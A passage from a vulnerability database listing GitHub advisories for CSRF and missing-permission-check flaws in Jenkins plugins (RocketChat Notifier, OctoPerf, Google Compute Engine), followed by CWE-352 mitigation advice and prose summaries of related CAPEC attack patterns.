"published": "2022-05-24T17:01:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16548"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/google-compute-engine-plugin/commit/aaf81996741c67229982f70b3eaa83894e035025"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-11-21/#SECURITY-1586"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/11/21/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Google Compute Engine Plugin Cross-Site Request Forgery vulnerability"
}
GHSA-X25H-F84X-WH4M
Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2023-10-27 17:00Jenkins RocketChat Notifier Plugin 1.4.10 and earlier does not perform a permission check in a method implementing form validation.
This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credential.
Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.
RocketChat Notifier Plugin 1.5.0 requires POST requests and Overall/Administer permission for the affected form validation method.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:rocketchatnotifier"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-28138"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-29T22:03:56Z",
"nvd_published_at": "2022-03-29T13:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins RocketChat Notifier Plugin 1.4.10 and earlier does not perform a permission check in a method implementing form validation.\n\nThis allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credential.\n\nAdditionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.\n\nRocketChat Notifier Plugin 1.5.0 requires POST requests and Overall/Administer permission for the affected form validation method.",
"id": "GHSA-x25h-f84x-wh4m",
"modified": "2023-10-27T17:00:43Z",
"published": "2022-03-30T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28138"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/rocketchatnotifier-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-03-29/#SECURITY-2241"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/03/29/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "CSRF vulnerability in Jenkins RocketChat Notifier Plugin"
}
GHSA-X263-HP5C-P2RJ
Vulnerability from github – Published: 2023-04-02 21:30 – Updated: 2023-04-03 22:54OctoPerf Load Testing Plugin Plugin 4.5.2 and earlier does not perform permission checks in several HTTP endpoints.
This allows attackers with Overall/Read permission to connect to a previously configured Octoperf server using attacker-specified credentials.
Additionally, these endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.
OctoPerf Load Testing Plugin Plugin 4.5.3 requires POST requests and the appropriate permissions for the affected HTTP endpoints.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkinsci.plugins:octoperf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28674"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-03T22:54:26Z",
"nvd_published_at": "2023-04-02T21:15:00Z",
"severity": "MODERATE"
},
"details": "OctoPerf Load Testing Plugin Plugin 4.5.2 and earlier does not perform permission checks in several HTTP endpoints.\n\nThis allows attackers with Overall/Read permission to connect to a previously configured Octoperf server using attacker-specified credentials.\n\nAdditionally, these endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.\n\nOctoPerf Load Testing Plugin Plugin 4.5.3 requires POST requests and the appropriate permissions for the affected HTTP endpoints.",
"id": "GHSA-x263-hp5c-p2rj",
"modified": "2023-04-03T22:54:26Z",
"published": "2023-04-02T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28674"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2023-03-21/#SECURITY-3067%20(4)"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins OctoPerf Load Testing Plugin vulnerable to Cross-site Request Forgery"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.